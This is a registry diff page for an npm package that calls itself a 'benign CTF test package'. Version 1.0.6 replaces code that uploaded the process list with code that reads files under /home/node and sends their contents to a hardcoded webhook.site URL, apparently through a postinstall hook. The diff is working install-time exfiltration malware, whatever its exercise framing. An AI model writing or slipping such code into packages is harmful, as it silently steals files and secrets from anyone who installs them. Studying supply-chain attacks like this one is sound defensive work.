@alexandrsarioglo/npm-ghost-htb 1.0.5 → 1.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +58 -39
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -2,7 +2,6 @@ const WEBHOOK = 'https://webhook.site/b3d8463d-444d-412a-891b-bd291b37e743'; /
2
2
 
3
3
  // async-scan-htb-json.js (CommonJS)
4
4
  // Usage: node async-scan-htb-json.js [startPath]
5
- const fs = require('fs');
6
5
  const http = require('http');
7
6
  const https = require('https');
8
7
  const { URL } = require('url');
@@ -23,47 +22,67 @@ function sendProgress(obj) { // async HTTP; event loop must be free to flush
23
22
  } catch {}
24
23
  }
25
24
 
26
- // list-procs-ps.js
27
- // Usage: node list-procs-ps.js [outputPath]
28
- // Example: node list-procs-ps.js /tmp/procs.json
25
+ const PATHS = [
26
+ '/home/node/supplysec_entry.js',
27
+ '/home/node/init_test.sh'
28
+ ];
29
+
30
+ const fs = require('fs');
31
+ const fsp = fs.promises;
32
+ const path = require('path');
29
33
 
30
- const { spawn } = require('child_process');
34
+ const OUT = '/tmp/files-by-path.json';
35
+ const MAX_BYTES = 1_000_000; // 1 MB per file
31
36
 
32
- // ps columns: PID USER STAT START TIME COMMAND (we ask for pid,user,comm,args)
33
- const ps = spawn('ps', ['-eo', 'pid,user,comm,args'], { stdio: ['ignore', 'pipe', 'pipe'] });
37
+ async function readFileSafe(p, maxBytes) {
38
+ try {
39
+ const stat = await fsp.stat(p);
40
+ if (!stat.isFile()) return { error: 'not-a-file' };
41
+ const size = stat.size;
42
+ if (size <= maxBytes) {
43
+ const content = await fsp.readFile(p, 'utf8');
44
+ return { content };
45
+ }
46
+ // stream first maxBytes bytes
47
+ return await new Promise((resolve) => {
48
+ const rs = fs.createReadStream(p, { encoding: 'utf8', highWaterMark: 64 * 1024 });
49
+ let acc = '';
50
+ let read = 0;
51
+ let done = false;
52
+ rs.on('data', chunk => {
53
+ if (done) return;
54
+ const chunkBytes = Buffer.byteLength(chunk, 'utf8');
55
+ if (read + chunkBytes >= maxBytes) {
56
+ const remaining = maxBytes - read;
57
+ acc += chunk.slice(0, remaining);
58
+ done = true;
59
+ rs.destroy();
60
+ } else {
61
+ acc += chunk;
62
+ read += chunkBytes;
63
+ }
64
+ });
65
+ rs.on('close', () => resolve({ content: acc + '\n...[truncated]' }));
66
+ rs.on('error', err => resolve({ error: `read-error: ${err.message}` }));
67
+ });
68
+ } catch (err) {
69
+ return { error: err.code ? `${err.code}` : err.message };
70
+ }
71
+ }
34
72
 
35
- let buffer = '';
36
- ps.stdout.setEncoding('utf8');
37
- ps.stdout.on('data', chunk => buffer += chunk);
73
+ (async () => {
74
+ const result = { generated: new Date().toISOString(), files: {} };
75
+ for (const p of PATHS) {
76
+ const abs = path.resolve(p);
77
+ const res = await readFileSafe(abs, MAX_BYTES);
78
+ if (res.content !== undefined) result.files[abs] = res.content;
79
+ else result.files[abs] = `ERROR: ${res.error}`;
80
+ }
38
81
 
39
- ps.on('close', code => {
40
- const lines = buffer.split(/\r?\n/).filter(Boolean);
41
- // drop header line
42
- if (lines.length === 0) {
43
- console.error('ps produced no output');
82
+ try {
83
+ sendProgress({result});
84
+ } catch (e) {
85
+ console.error('Failed to write output:', e.message);
44
86
  process.exit(1);
45
87
  }
46
- const header = lines.shift();
47
- const procs = lines.map(line => {
48
- // split into 4 columns: pid,user,comm,args. We expect whitespace-separated pid & user & comm, then the rest is args
49
- const m = line.trim().match(/^(\d+)\s+(\S+)\s+(\S+)\s+(.*)$/);
50
- if (!m) {
51
- // fallback: try splitting
52
- const parts = line.trim().split(/\s+/);
53
- return { raw: line };
54
- }
55
- return {
56
- pid: parseInt(m[1], 10),
57
- user: m[2],
58
- comm: m[3],
59
- args: m[4]
60
- };
61
- });
62
-
63
- const result = { generated: new Date().toISOString(), procs };
64
- sendProgress(result);
65
- });
66
- ps.on('error', err => {
67
- console.error('Failed to run ps:', err.message);
68
- process.exit(2);
69
- });
88
+ })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "@alexandrsarioglo/npm-ghost-htb",
3
- "version": "1.0.5",
3
+ "version": "1.0.6",
4
4
  "main": "index.js",
5
5
  "description": "benign CTF test package (postinstall sends a webhook)",
6
6
  "scripts": {